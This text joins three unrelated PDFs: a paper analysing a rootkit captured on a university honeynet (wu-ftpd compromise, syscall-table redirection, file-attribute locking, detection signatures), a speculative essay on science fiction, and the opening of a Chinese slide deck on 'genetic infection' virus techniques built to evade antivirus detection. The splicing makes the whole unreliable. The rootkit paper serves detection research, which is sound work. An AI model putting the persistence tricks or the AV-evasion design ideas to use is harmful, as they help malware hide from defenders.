be aware of the threats that their computers face from rootkits as well as the ability to recognize if a particular rootkit has been installed on their computer system. Part of our efforts is the use of a Honeynet to collect new rootkit type exploits. Rootkits are also available from other sources including the Internet. The Honeynet, however, offers us an opportunity to collect rootkits that may not have been previously seen by other researchers [2]. These rootkits are targeted against actual live systems on the Honeynet that have been compromised by a hacker. We believe that the Honeynet offers us an actual opportunity to collect existing, modification to existing, and entirely new rootkit exploits. On 1 June 2003 a system installed on the Georgia Tech Honeynet was compromised, allowing a hacker to gain root level access. The hacker then installed a rootkit on this system. No traffic should have been going to or come from this system since it is a Honeynet machine [3]. By following the principles of data capture and data control we were able to capture the exploit that the hacker executed against this system and prevent this system from being used to compromise any other systems. A. Target System Description The target system that was employed on the Honeynet was a standard version of the Red Hat Linux 6.2 operating system running the Linux 2.2 kernel. This system was configured to install all available packages and no special modifications were made to this system. The install process was a default installation for this configuration. No additional services besides those that were started by the default installation were enabled on the target system. The following ports were opened on this system: 21 ftp 23 telnet 25 smtp 79 finger 98 Linux conf 111 sun rpc 113 auth 513 login 514 shell 515 printer 954 unknown 1024 kdm 1025 listen 1033 net info 6000 x11 B. Method of Compromise At 10:34 AM ZULU on June 1, 2003 an exploit was launched against the target system on port 21 (ftp daemon) to attempt to gain root level access. The ftp server running on Red Hat Linux 6.2 is wu-ftpd2.6.0(1) ftp daemon, the default ftp server. Exploits that allow a hacker to gain root level access have been published against this particular service and are available on the Internet. This attack was successful and the hacker was able to gain root level access on the target system. Figure 1 shows the start of the tcp stream that was extracted from the Honeynet data concerning this attack. The string RNFR ././ is a signature of the WU-FTP exploit for the ftp server that is running on this system [4]. Application of a Methodology to Characterize Rootkits Retrieved from Honeynets John Levine, Julian Grizzard, Henry Owen, Members, IEEE [email protected], [email protected], [email protected] Figure 1: Start of Exploit The hacker was successful utilizing this exploit to gain root level access on the target system. This is indicated in Figure 2 where the hacker queries the system for his id and the user id (uid) of 0(root) is returned. The hacker then adds a user andrey with a password of andrey to the system. Figure 2: System Compromise Indication The hacker, having gained root access, is now able to install a rootkit on the target system. The rootkit that the hacker chooses to install in called ‘r.tgz’ which was downloaded through a telnet session using the wget command. We do not believe that this particular rootkit has been publicly analyzed before. There is an ssh rookit called ‘r.tgz’ but the characteristics of that rootkit, including the file size, differ from the rootkit that was installed on the target system [5]. In any event, we were unable to find any detailed examination of a rootkit called ‘r.tgz’ with characteristics similar to the one that was installed on the target system. The hacker extracts the exploit code within the ‘r.tgz’ file and then runs the exploit on the target system. Figure 3 shows the actual Honeynet logs of the hacker’s session. The ‘r.tgz’ rootkit deletes all traces of itself on the target system after installation. However, we were able to reconstruct what the hacker accomplished by utilizing the Honeynet logs for this exploit session. Figure 3: Installation of 'r.tgz' rookit II. METHODOLOGY TO CHARACTERIZE ROOTKIT EXPLOITS We are able to apply our methodology to the valid copy of the rootkit that we retrieved from the Georgia Tech Honeynet. The following is a description of the methodology that we follow to identify the specific delta ( ∇ ) of a rootkit exploit targeting the Linux operating system. The concept of identifying a specific delta is described in our paper titled “A Methodology to Detect and Characterize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table” presented at the Second International Information Assurance Workshop [6]. In this case we choose Linux as our operating system for this specific investigation but this methodology should apply to other UNIX type operating systems. 1. Start with a clean installation of the specific kernel version of the operating system that was the intended target of the rootkit exploit. 2. Install a kernel level debugger on this system. The installation of the kernel level debugger will probably require the system to be recompiled with a custom kernel. 3. Install and run a file integrity checker program on this system. Select target directories based on an analysis of the installation that occurred when the rootkit was originally acquired. 4. Install a rootkit detection program such as chkrootkit on the target system. This will detect many existing system utility rootkit exploits and may help to identify modification to existing as well as entirely new rootkit exploits. 5. Install a program such as kern_check [7] to check the integrity of the system call table within the kernel. Run this program on the target system to establish a baseline and ensure that the kernel integrity has not been compromised on this initial installation. 6. Make a copy of the kernel text segment of memory via /dev/kmem for future comparison. We have presented a method to do this in our paper titled “ A Methodology to Characterize Kernel Level Rootkit Exploits that Overwrite the System Call Table” to be present at SoutheastCon 2004 [8]. The kernel text segment of kernel memory should remain consistent for a particular kernel build. Any deviation between this copy and a future copy could indicate that the kernel may have been compromised by a kernel level rootkit exploit. A more detailed analysis of kernel space can then be conducted via the kernel debugger (kdb) program that has previously been installed. 7. Run the file integrity checker program and the rootkit detection program on the target system prior to infecting the system with the rootkit to establish a baseline for comparison between a clean and infected system. 8. Install the rootkit on the target system. Follow the installation steps that were used when the rootkit was initially acquired for analysis. 9. Run the file integrity checker program on the system and note the results. The presence of certain types of rootkits should be indicated by the results of the file integrity checker program but other types of rootkits, specifically those that target the kernel, may not be detected by this type of program. 10. Run the rootkit detection program (chkrootkit [9]) on the system that has been infected with the rootkit that is being analyzed. If this is a previously known system utility rootkit then a program such as chkrootkit should be able to detect the presence of this rootkit. If the file integrity checker program detected a change to a system utility binary program file but the rootkit detection program did not detect the presence of a rootkit then we can assume that we are dealing with either a modification to an existing system utility rootkit or an entirely new system utility rootkit. 11. Run the kernel integrity check program on the target system. If the system call table was modified or redirected, then this program should be able to detect what has been modified. Make note of each system call that is indicated as being modified as well as a total count of the number of system calls that have been modified by this rootkit. The system calls that a rootkit modifies can establish a signature for a specific kernel level rootkit [10]. This program may not be able to detect some other modification to the kernel text code segment of the kernel. 12. Make a copy of the kernel text code and compare it against the original copy of the kernel text code that was prepared before infecting this system with the rootkit. A difference between these two files may indicate the presence of a kernel level rootkit. This is especially significant if the existing kernel integrity checker programs failed to detect any modification to the kernel. This would indicate that one is dealing with a new type of kernel level rootkit that does not target the system call table. The system call table is the normal avenue of attack for hackers who are attempting to create a kernel level rootkit. The results of these steps can be used to classify a rootkit exploit as an existing, modification to an existing, or an entirely new rootkit. III. ANALYSIS PROCESS The Georgia Tech Honeynet was able to capture the entire exploit session of a system compromise including the downloaded files as well as the remote machines that the hacker connected to from the compromised machine. This provided us with the scripts and files that were used by the hacker to install the r.tgz rootkit. Preliminary analysis of these files gave us an indication of how this rootkit could be installed on a target system similar to the system on the Honeynet. We then set out to install the r.tgz rootkit on a target system to analyze and classify it. We have initially set up a baseline system that consists of the same operating system as the system that was compromised on the Honeynet. In this case it is Red Hat 6.2 running the Linux 2.2.14 kernel. Following the procedures outlined in Section II, we installed a kernel level debugger (kdb) on this system as well as a file integrity checker program (AIDE [11]) . We then installed a known rootkit detection program (chkrootkit [9]) and made a copy of the kernel text segment via /dev/kmem. Prior to infecting this system with the r.tgz rootkit we ran the AIDE and chkrootkit program to establish a clean baseline for analysis and classification. We then infected this system with the r.tgz rootkit. The first check that we ran on the infected system is the file integrity check to determine what files have been added, changed, or deleted. Running the AIDE program on the infected system indicated that 2 files had been added to the infected system and 178 files had been changed by the r.tgz program. This is a large number of files and initial analysis of the install scripts for this rootkit does not indicate that all of these files are being modified. Follow on analysis was conducted on these modified files to determine the nature of these changes. Figure 4 shows the results of running AIDE on the infected system. Figure 4: AIDE results on r.tgz infected system The next step was to run the known rootkit detection program (chkrootkit) on the target system. Running this program utilizing the binaries that are currently installed on the target system only results in the identification of one system binary as being infected. The binary that is indicated as being infected is ifconfig. The chkrootkit program also detects five suspicious files and possible infections by the “Showtee” and “Romanian” rootkits. The recommended method of using the chkrootkit program is to use known good binary files. Known good binary files can be copied to a read-only disk and the files on this disk can be accessed by the chkrootkit program using the –p switch. Using known good binary to check the system results in the identification of the same changes identified in the previous paragraph plus 5 additional binaries being identified as being infected on the target system. These five binary files are: du, ifconfig, killall, ls, and pstree. The check using known good binaries also indicates the following under the lkm check: 1 process hidden from readdir command, 15 processes hidden form ps command. The differences between the output using known good binaries and the output using the binaries currently installed on the system indicate that the r.tgz rootkit modified some of the system binary files that are used by the chkrootkit program to check the system status. As a result we can conclude that known good binaries should always be used while running the chkrootkit program. The five files detected as being changed by the chkrootkit program are also detected as being changed by the AIDE file integrity checker program. These results are used in our methodology to classify this rootkit exploit. The next step in the methodology is to verify the integrity of the kernel. Running the kernel check program (kern_check) on the target system utilizing a known good /boot/System.map file indicates that there is a mismatch of 21 system calls between the kernel and the known good /boot/System.map file. The results of the kern_check program are shown in figure 5. Figure 5: Results of kern_check program This is an indication that the kernel of the target system may have been compromised by the r.tgz rootkit. Checking the current kernel text segment code against the previously archived version of the kernel text segment code indicates that the kernel has been compromised. The previously archived version of the kernel text segment code was built when the target system was first compiled. Analysis of the kernel using kdb indicates that the pointer to the system call table is being redirected to a new instance of this table. The correct system call table address is 0xc0248928 and can be retrieved from the /boot/System.map file. The current system call table address as displayed by kdb in kernel memory is 0xc31ac000. The following is the results of running a kdb query on the system call interrupt within kernel space. The returned call statement should refer to the address of the system call statement that is stored in the /boot/System.map file (0xc024928) and it does not. kdb> id 0xc0109d84 ~ (address of system call interrupt from /boot/System.map) system_call + 0x2d: call *0xc31ac000(,%eax,4) This is an indication that the system call table is being redirected by a kernel rootkit Since the kernel is a fundamental part of the computer operating system we will first examine this aspect of the r.tgz rootkit to determine the method that this rootkit used to compromise the target system. You can not trust any of the system output if the kernel has been compromised. As previously mentioned, the Honeynet allowed us to retrieve the install scripts and code that is utilized by the r.tgz rootkit. The main install file for the r.tgz rootkit calls a series of script files to install the rootkit. Analysis of these scripts indicates that the startfile script is the script that compromises the kernel on the target system. The replace script is used to replace the system binaries. The startfile script copies the r.tgz file init to the /etc/rc.d/init.d directory. Analysis of the r.tgz init file indicated that this is the script that compromises the kernel. The init script file executes several binary files named sendmail (executed as a daemon), write (executed as a daemon), and two instances of the executable all with the ‘i’ switch and a pid. The sendmail binary file is actually another instance of the all program that is copied over in the createdir script file that is executed by the r.tgz startup script file. This analysis resulted in the identification of three instances of the all binary executable file being executed by the r.tgz rootkit. Two of these instances of the all binary file have pid’s associated with them. The fact that the init file, which calls these three instances of the all file, has been copied into the /etc/rc.f/init.d directory is an indication that the r.tgz rootkit developer wanted this code to be executed upon system reboot, making the kernel compromise portion of this rootkit resident within memory. The use of file names such as init, sendmail, and write are examples of a direct masquerade as described by Thimbleby, Anderson, and Cairns. Direct masquerades are files that pretend to be normal programs [12]. As a result of this analysis, we choose to examine the all program. This program is a binary executable file and we do not have the underlying source code that was used to create this rootkit. We choose to use a tool such as strings on this file initially in conducting our analysis. An segment of the results of running the strings command on the r.tgz all binary file are indicated in Figure 6. Figure 6: strings output of r.tgz all program The strings output of this program indicates that the all program is a kernel level rootkits known as INKIT. A search on the Internet for a kernel rootkit called INKIT does not result in any references to this particular rootkit. According to the use statement that is output by the strings command, the ‘i’ switch that is used in the init script with a particular pid is used to make that pid invisible. The last string displayed in Figure 6 is significant to note. This text string makes reference to the SuckIT rootkit. We presented an in depth analysis of the SuckIT kernel level rootkit in [6]. The fact that this string appears in INKIT, including the misspelling of successfully just like the actual SuckIT rootkit, leads us to believe that INKIT is a modification or a copy of the SuckIT kernel level rootkit. Next we attempted to uninstall the INKIT kernel level rootkit using the ‘u’ switch as indicated by the use statement in Figure 7. Figure 7: Uninstall of INKIT kernel rootkit This command was successful in uninstalling the kernel level rootkit. We then verified the integrity of the kernel with the kern_check kernel integrity check program. The indication was that there are no system calls currently being redirected by the kernel. An examination of the kernel using kdb indicated that the system call interrupt is now referencing the correct system call table. As a final check, we compared the current kernel text segment against the original archived text segment. These files now match. At this point the kernel is no longer compromised and we reran the file integrity checker and known rootkit detection programs on the target system since we can now trust the kernel output. The output from the AIDE file integrity checker program now indicates that 196 files have changed. This is an increase of 19 files from the previous check of the AIDE program where 177 files were detected as being changed by the r.tgz rootkit. It appears that the kernel element of the r.tgz rootkit was hiding these 19 changed programs from the AIDE program. Next in the analysis process we analyzed these changed files and the r.tgz install scripts to determine how these files had been changed. The results of the new instance of the AIDE program are indicated in Figure 8. Figure 8: New AIDE results on target system. Analysis of the install scripts for the r.tgz rootkit does not indicate that 196 files are being changed when the rootkit is installed. Analysis of the AIDE results indicates that all of the executable files in the /bin directory are changing. Comparison of the files in the /bin directory with known good files indicates that the files that are not being changed by the r.tgz rootkit are increasing in size by 8759 bytes. This increase in file size is a signature of the Linux.OSF.8759 virus. This virus is associated with the hax.tgz rootkit [13]. Application of the methodology thus far has indicated that r.tgz is composed of elements of two rootkits; the INKIT kernel level rootkit which is based on SuckIT, and the hax.tgz binary level rootkit. Another signature of the Linux.OSF.8759 virus is that a trojan port is opened on the target system at 3049. This trojan port is detected by the chkrootkit program which checks for processes listening on ports with the use of the netstat command with the –anp switch to detect open ports on the system in question. Other Trojan ports can be detected in a similar fashion. There is a utility named clean.OSF.8759-ps that can be used to clean infection of the Linux.OSF.8759 virus [14]. However, these files can not be cleaned by the root user after the r.tgz rootkit is installed on the target system. This is a result of the socklist script within the r.tgz rootkit changing the attributes on all of the files in the /bin directory with the chattr +ASacdisu command. Attributes on selected files in the /sbin and /usr/bin directories are also reset by the replace script within the r.tgz rootkit after these files are infected with the Linux.OSF.8759 virus. Files and directories with their attributes reset could be used as an indication that a possible rootkit is installed on the target system. These attributes must be turned off using the chattr -ASacdisu command to disinfect these files. To produce an accurate count of the number of binary files that are added, deleted, or changed by the r.tgz rootkit the attributes of the files within the /bin, /sbin, and /user/bin directories must first be reset. Then these directories can be disinfected with the clean.OSF.9759-ps utility. Once these files and directories have been disinfected the AIDE program is run to provide an accurate count of the files that have been changed on the target system by the r.tgz rootkit. Figure 9 shows the results of this instance of the AIDE program on the target system. The results are that 2 files have been added and 14 files have been changed by r.tgz. These results correspond with the install scripts for the r.tgz rootkit. Figure 9: Accurate AIDE count of changed files IV. ROOTKIT CHARACTERISTICS The chkrootkit program only detects 5 of the 14 files that are detected as being changed by the AIDE program. It may be possible to develop new signatures for the 9 changed files that are not detected by chkrootkit. These files are: dir, vdir, md5sum, top, and strings in the /usr/bin directory; ps, netstat, and login in the /bin directory; and ifconfig in the /sbin directory. Two other possible signatures are the two added files, /usr/bin/strings and /sbin/sendmail. There are currently two instances of the strings command in the /usr/bin directory. The socklist script of the r.tgz rootkit copies the original /usr/bin/strings file to the following file: /usr/bin/strings<blank space>. This would make it hard to detect that this file has been tampered with under a visual examination. However, this is a signature that can be used to detect the presence of either the r.tgz rootkit of the binary elements that make up the r.tgz rootkit on the target system. Using the elements of the methodology to detect unique rootkit string signatures that we have presented in our paper “A Methodology for Detecting New Binary Rootkit Exploits” we are able to detect some possible unique string signatures in the binary files that are replaced by the r.tgz rootkit [14]. The following are potential string signatures that can be used by a program such as chkrootkit to detect the presence of the r.tgz rootkit binary file replacements. /usr/bin/dir “stpcpy” /usr/bin/vdir “/usr/include/file.h” /usr/bin/md5sum “/usr/local/share/locale” /usr/bin/top “proc_hackinit” /usr/bin/strings “/bin/su –“ /usr/bin/socklist “bin/egrep –v” /bin/ps “/tmp/extfsRNV23Z” /bin/netstat “__bzero” /bin/login “cococola” We have already characterized the kernel rootkit that is an element of r.tgz. This kernel rootkit is one that redirects the system call table to an entirely new system call table as previously described by the authors in [6]. Based on other analysis that we have done, we were able to uninstall and reinstall this rootkit on the target system. It is significant to note that every new reinstallation of this kernel level rootkit will results in a new address in kernel space for the new instance of the compromised system call table. As previously stated, we concluded that the r.tgz rootkit is a blended rootkit that contains elements of the INKIT kernel rootkit and the hax.tgz binary rootkit. The INKIT rootkit is based on SuckIT. The hax.tgz rootkit is based on bigwar.tgz rootkit [13]. V. SUMMARY We have applied our methodology to a rootkit that we were able to acquire on the Honeynet research network that we established at Georgia Tech. Our methodology enabled us to identify the binary elements that this rootkit replaced on the target system. New signatures were identified that can help to detect the presence of this rootkit. The methodology enabled us to characterize the kernel element of this rootkit as a modification to an already existing kernel rootkit. We were able to uninstall this kernel rootkit on the target system. We have also applied this methodology to nine additional rootkits. This analysis enable us to characterize these rootkits and identify specific signatures that could be used in subsequent detection and analysis [15]. The analysis that we have presented concerning the application of our methodology to a rootkit would benefit network administrators, researchers, and network security personnel in characterizing rootkits as well as provide methods to detect these rootkits. VI. REFERENCES [1] D. Dettrich, (2002, 5 JAN) “Root Kits” and hiding files directories/processes after a break-in, [Online]. Available: http://staff.washington.edu/dittrich/misc /faqs/rootkits.faq [2] L. Spitzner, Honeypots- Tracking Hackers, Indianapolis, IN: Addison-Wesley, 2003, p. 69. [3] The Honeynet Project, Know Your Enemy, Indianapolis, IN: Addison-Wesley, 2002, p. 19. [4] http://www.linuxsecurity.com/feature_stories /feature_story-141.html, Nov 2003. [5] http://www.packetfu.org/hpa.html, Nov 2003. [6] J. Levine, J. Grizzard, H. Owen, “A Methodology to Characterize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table”, to be presented at the 2nd International Information Assurance Workshop, Charlotte, NC, 8-9 Apr 2004. [7] http://la-samhna.de/library/rootkits/detect.html, Sep 2003 [8] J. Levine, J. Grizzard, P. Hutto, H. Owen, “A Methodology to Characterize Kernel Level Rootkit Exploits that Overwrite the System Call Table”, to be presented at SoutheastCon 2004, Greensboro NC, 26-28 Mar, 2004. [9] http://www.chkrootkit.org, Dec 2003. [10] Zovi, D., “Kernel Rootkits”, http://www.cs.unm.edu /~ghandi/lkr.pdf, 3 July 2001, Oct 2003. [11] http://www.cs.tut.fi/~rammer/aide.html, Sep 2002. [12] Thimbleby, S. Anderson, p. Cairns, “A Framework for Modeling Trojans and Computer Virus Infections,” The Computer Journal, vol. 41, no.7 pp. 444-458, 1998. [13] http://www.honeylux.org.lu/project/honeyluxR1/result /sub01/report/hax.html, Aug 2003. [14] http://packetstormsecurity.nl/trojans/indexdate.shtml/c lean-osf.8759.tgz /README, Dec 2003. [15] J. Levine, H. Owen, B. Culver, “A Methodology for Detecting New Binary Rootkit Exploits”, presented at the 2003 IEEE SoutheastCon 2003, Ocho Rios, Jamaica, 4-6 Apr 2003. [16] J. Levine, A Methodology for Detecting and Classifying Rootkit Exploits, PhD Thesis, Georgia Institute of Technology, Atlanta, GA, to be published.
pdf
Mind Games 1 Introduction to “The Last Science Fiction Story” I t’s true, the breaking waves of the future – as we construct it inside our societal mind, inside our cultural frames - inundate the past and the future often happens now before the past, some of the eddies of the future, some of the backwaters of the past. But it helps to remember that nobody can surf all the waves, that eddies and backwaters, dragging us into the tide or sucking us back into the water like waves on a beach, hold all of us back or down in most domains while we see clearly only in a few selected others. That’s why the Masters can do what they do, breaking memory into bits. We call geniuses those who surf two or three waves at a time and integrate their experiences in a true-life tale of a surf bum’s life. That’s not me. All I can do is document the end of time as it had been constructed in this little blip of historical fiction. If history is our myth, maybe this is a time of demythologizing. Maybe fiction is our myth, now, not history. And of course by “time” I don’t mean time, whatever that might be. If exploring UFO phenomena for more than thirty years has taught me anything, it’s that our lack of comprehen- sion of what is happening is not about space. It’s about time. Yes. It’s about time. Isn’t it? Richard Thieme 2 Mind Games 3 The Last Science Fiction Story Science fiction is how a left-brain society once dreamed of the future. The dreams became real over long periods of time. Leonardo daVinci dreamed of submersibles, flying machines, all kinds of crazy contraptions. One would guess that many of his contemporaries thought he was crazy. Think of a Neolithic genius trying to describe an automobile. The feedback loop from crazy to sane took a long time. Humans are social animals. So civilization is a feedback machine. We build reality in the image of our dreams. As the project of civiliza- tion became distributed and more flattened, quicker feedback meant implementing more dreams in less time. Several hundred years after daVinci we fly and dive. Going to the moon was quicker. From the Earth to the Moon by Jules Verne. A pretty good book, dreamed up in the eighteen sixties. A hundred years later Neil Armstrong was dancing in moon dust, delivering sound bites. Aldous Huxley dreamed of genetic engineering and social condi- tioning in Brave New World in 1932. Sixty years later we were hard at it. Call it propaganda, call it spin, call it perception management. Today people are trained to live inside belief collectives and we are learning to engineer and modify genetic traits, those that exist and those we invent. Breeding for success by going to expensive schools Richard Thieme 4 looks sloppy and haphazard compared to the precision of genetic engineering. It took a hundred years to get to the moon. Sixty to create a brave new world. Faster and faster the whirligig of time returns returns to dream- ers who dream. In the nineteen eighties, William Gibson defined cyberspace. Less than a decade later, we lived in it. Now we don’t even notice, any more than we notice flying and diving and going to the moon and glowing fish and tomatoes that don’t freeze. First, the dream. Then, in shorter and shorter leaps or loops, came the reality. Science fiction is how a left-brain society dreamed of the future. Now that’s done. Dreams aren’t over. The future is. The future is past. This is the last science fiction story ever. The future went non-linear in 1973. That was the year of the OPEC oil thing. Big companies like Shell were taken by surprise. They never saw it coming. They had to ask, why? They had been thinking in straight lines. The present led to the future by one dotted line like a path through a courtyard. The task was to get there somehow from here. They called it management by objective and it seemed simple. It was simple. Because there was only one future, the one we could extrapolate from what we knew was true. Then we realized (a) we didn’t know what was true and (b) we could not extrapolate bull-dippy. So we invented scenario planning. Actually we borrowed it. It Mind Games 5 was used in military circles for a long time. It was a methodology the time of which had come. It works like this: we may not know where we are, but we know we’re here. What are the likely theres out there? We fanned hands of possible futures like playing cards. Three or four hands were plenty. Pick one, any one. We asked ourselves, what has to happen for this or that to happen? As futures emerged faster and faster from rapidly receding presents, we had to ask that question again and again, faster and faster. Yep, you’re ahead of me: feedback loops. That’s correct. We needed more and more frequent feedback loops to map what was happening now compared to what had just happened. That helped us guess which futures were likely to emerge. It did not go unnoticed that we were manipulating information a lot like computers. There were lots of “if-this-then-thats” with logic gates AND OR and NOT between them. The way we were thinking was how our machines were thinking. We built the machines but then the machines built simulated worlds in our minds to match. Now there’s so much feedback it’s too big to manage. No, that’s not quite right. There are too many feedback loops for the old machinery to manage. We needed new machinery. And we got it. Or should I said we’ll get it? Both. We got it. And... we’ll get it. See, the problem is obvious, isn’t it? As fast as we can dream or, more accurately, as fast as the human-machine symbiosis can dream, the thing is realized, if not in actual fact at least in a simulation. But the machine doesn’t know the difference. And because we live inside the mind space made by the machine, we don’t know the Richard Thieme 6 difference either. The symbiot dreams and the dream becomes real. Immediately. It can even become a thing of the past before it is manifest in the present. By the time The Matrix was made, everybody understood. It wasn’t science fiction, just a metaphorical adventure. Blade Runner screened like history. It had already happened. The symbiot invents memories at all levels from perception to conception. The symbiot dreams and immediately believes the dream. The dream is reality before we wake up. Or say that the dream takes place at a slower pace than the implications of the dream, fed into a faster part of the symbiot brain before the dream has ended. Like a spell-checker finishing words for us. We’re still typing “spellche—“ but “spell- checker” is already on the monitor. Some of our best dreams like getting lost and finding our way home are over. We used to be able to get lost. It was exciting. Will it get dark before we get home? Will they find us? Will some animal eat us? GPS killed that dream. Dreams predicated on being lost from Homer’s Odyssey to Joyce’s Ulysses are dreams of the past. The space into which we are all looking now is inside the sphere. Every- body can see anything they want. This is why the soft stuff – humanities, history, theology – has broken down. Deconstruction took apart the humanities and keeps on reduc- ing whatever we find in any text to a lower level. It never ends. There is nothing more fundamental to find that is also more real. Whatever “real” means. History ended when we began inventing myths and narratives to contain them. Need to know and compartmentalization finished the job. Humans live in different niches, swimming in narrative Mind Games 7 streams that do or don’t connect with one another. We look at painted images on the gerbil tubes of our lives, thinking they’re mirrors. Anyway, how would anyone know? And who might that person be? Theology? Don’t make me laugh! Once we shake ourselves free of Greek or medieval models, it turns into modular fluid construc- tions that fly by like fractals animated by a fast processor. God is interactive, morphing like us. OK, go back to that paragraph you just read beginning with GPS about being lost. “Lost” was a metaphor. For everything I am talking about. See? Shadows have vanished. Night-time is over. There is bright light everywhere and those of us who have lived at the poles know that makes us giddy. Think of the moon without a terminator. Night meets bright with no liminal zone, no borderland or portal. The magic of twilight has vanished. I could go on, but what’s the point? You get it, right? The flat earth fills with streams of feedback overflowing their banks. As soon as we dream of the future, trying to write science fiction, feedback loops capture our dreams and deliver them to the recent past. By the time we finish, the future is past. The symbiot anticipates the ending and fills in the blanks, getting there before the author. Reality, that is, the information we call “reality,” happens so fast from so many directions, so many flows, that it factors back into the mindstream and makes reality one more dream. By the time we wake up to that fact, it’s already morning. Real dreams, the ones that happen out there beyond our ability to sense or know, come after the fact, not before, like before. Throw in non-local consciousness, using event horizons of black holes to move around the galaxy, listen to our designer progeny Richard Thieme 8 laughing at those who were merely born—what is there to write about? As fast as we put finger to keyboard or voice to conversion program, our visions are obsolete. Think up an original story, and guess what? You can find it in some anthology a decade or three ago. Or covert operations have already produced the miraculous shape- changing metals, remote viewers and Psi spies, multi-Manchurian candidates, anti-grav, you name it, they already made it and keep it hidden. Aliens have come and gone, everybody who looks at the evidence knows that, but so what? Contact is an empty set, a null set, as boring as UFOs on Mars, a couple of big orange beach balls bouncing down and delivering two little robots that crawl out and drill and transmit, squeaking like R2D2. See what I mean? R2D2 in fact was squeaking like them. We just didn’t know it yet. Vanity of vanities, saith this writer. All is vanity. I am a silver- back, ancient of days, and I know: in my entire life, every idea I have had, including the five or six that were terrific, had already been thought. Every single one. Some were in books, some in blogs. Some were footnotes, some mentioned casually over coffee. Originality no longer exists. Creativity might be real but it’s an action in a collective and nobody can claim credit for anything any more. Including this so-called work of science fiction. That “by-line” is a joke. As if all this came from an “individual” with a boundary around its brain! Besides, there’s not one original idea in this entire story. Some of you will insist this isn’t a story. It’s not fiction. It’s real, you will say. In fact, of course, you already said it. This dream, you said, is a string of obvious facts. But then, that’s the point, isn’t it? When I began this story, short as it is, it was fiction. Now, just short of the end, it is not only fact, it Mind Games 9 is fact of the past. I can hear you saying, I know that. Everybody knows that. That’s how fast it happens. Others, of course, think this is a fictional narrative but like most fiction, it’s a dust devil on Mars whirling past fast. Now you think it, now you don’t. I mean, think it through. What have I actually said? Nothing. Everything I mention—hard science like physics and biolo- gy, soft science like soc and psych, social roles, what it means to be human, alien visitation, time dilation – all of the themes of twenty- first century science fiction have already come and gone. This is the first century in history that lasted only five years. I don’t think it’s fair even to call it a century anymore. So let’s agree on one thing: Everything is over. The feedback machine is faster than we are. Individuals don’t exist. Dreams come after reality, now, not before. A left brain civilization has gone so far to the left we’re right. The circle is complete. The fractal is self-similar at all levels. Goedel said it best: we can’t even say we’re here, doing this, except from some other place. But when we go there, there we are, all over again. There we all are, stuck once more. Inside a circle turned into a moebius strip. There’s just no escaping the bad news. So do whatever you like with the rest of the story. Take the narrative anywhere you want. I don’t care. Take the “I” or “we” or whatever it is, take it away or take it apart. The “I” telling this story is as insubstantial as smoke. So is the “we.” So, dear reader, are “you.” It’s all mist or haze or vapor or fog – they’re all words from the built-in thesaurus anyhow, we all build with the same bricks—so watch the smoke that we were once upon a time drift out of the Richard Thieme 10 window and disperse in the wind, a colloidal mist that seems to vanish in the empty air but is there forever. That’s what happened to science fiction. This is where or should I say when you found out. And that, I’m afraid, is the end of the story.
pdf
对抗AV检测 -- 病毒遗传感染 对抗AV检测 -- 病毒遗传感染 技术的探索 技术的探索 nEINEI/[bytehero team] 病毒遗传感染技术的探索 病毒遗传感染技术的探索 • 内容介绍: 关于病毒遗传感染技术 • 关于病毒遗传感染技术 • - 计算机病毒/人工生命/自进化 • - 多态/ 变形之后的思路 • - 多态/变形的弱点在哪里? • 遗传感染的一种实现思路 • - 舍弃掉解密器/收缩器 舍弃掉解密器/收缩器 • - 构造一个新的变形机制 • - 病毒“基因”的提取 • - 宿主交叉/变异点的选择 宿主交叉/变异点的选择 • - 构造宿主/病毒的双执行环境 • - 宿主/病毒及感染后的重定位 • 完整的遗传感染变形方式 • - 完整的遗传感染变形方式 • 遗传感染思路的扩展 • AV检测的弱点剖析 未来可能的检测对抗? • 未来可能的检测对抗? • 关于病毒遗传感染技术 关于病毒遗传感染技术 • 计算机病毒/人工生命/自进化: • 人工生命的概念是源于1987年美国桑塔菲研究院的Langton教授提出,“人工 生命就是具有生命现象和特征的人造系统” 生命就是具有生命现象和特征的人造系统 。 • 普通病毒 -- 体现了人工生命现象的一种表达方式。 加密/多态/变形 体现了自进化的变异过程 是对抗反病毒检测技术的 • 加密/多态/变形 -- 体现了自进化的变异过程,是对抗反病毒检测技术的 自我进化方式。 该方向的研究情况 • 该方向的研究情况: • 2005年,SPTH在RRLF#6发表《Code Evolution: Follow nature's example》, 从指令变形的角度阐述了如何像生物自然选择那样进行代码变异。 • 2008年,saec在EOF-DR-RRLF发表《Evolutionary Virus Propagation Technique》这是从代码实现角度设想了如何像生物病毒那样的具有遗传变异 的感染方式 这在很大程度上区别于现有复杂的感染方式 的感染方式,这在很大程度上区别于现有复杂的感染方式。 ... 关于病毒遗传感染技术 关于病毒遗传感染技术 • 多态/变形之后的思路: 1 代码集成方式 重建宿主程序 使病毒代码分片插入到宿主中与其 • 1 代码集成方式:重建宿主程序,使病毒代码分片插入到宿主中与其 混合。该方式实现极其复杂,目前仅有与之最为接近的是zmist病毒。 2 虚拟化感染 借助VMP t t中的思路 设计病毒自己的 d • 2 虚拟化感染:借助VMProtect中的思路,设计病毒自己的p-code, 需要实现一个病毒自己的虚拟机。 3 未来的设想 利用宿主程序本身的指令 构造出病毒使用的代码 • 3 未来的设想:利用宿主程序本身的指令,构造出病毒使用的代码, 而”病毒代码“仅是连接这些指令执行的组织者,本身并没有恶意的 操作,且“融入”宿主程序。 • ... • 那么是否存在一种感染方式,它既易于编写,又能做到完全变形,又 有很好的anti-av效果呢? 关于病毒遗传感染技术 关于病毒遗传感染技术 • 多态/变形的弱点在哪里? • 1 多态技术的解密过程始终都是最薄弱的环节,需要隐藏好。 • 2 变形技术的产生的文件体积过大,80%左右都是变形引擎的代码。 变形技术的产生的文件体积过大,80%左右都是变形引擎的代码。 • 3 变形引擎中收缩器编写难度大,一旦处理不好,在感染N代后将导 致宿主文件大小极巨膨胀。 致宿主文件大小极巨膨胀。 • 4 编写中意想不到的因素及设计上的漏洞,导致很容易被通配符匹配, 静态启发式等技术检测到。 静态启发式等技术检测到。 遗传感染的一种实现思路 遗传感染的 种实现思路 从生物病毒那里寻找些思路 • 从生物病毒那里寻找些思路? • I 生物病毒的突变形式(点突变和染色体突变): • a丢失): 1 - 2 - 3 - 4 - 5 - 6 - 7 • 1 - 2 - 4 - 5 - 6 - 7 • b重复): 1 2 3 4 5 6 7 • b重复): 1 - 2 - 3 - 4 - 5 - 6 - 7 • 1 - 2 - 3 - 3 - 4 - 5 - 6 - 7 • c倒序): 1 - 2 - 3 - 4 - 5 - 6 - 7 • 1 - 2 - 4 - 3 - 5 - 6 - 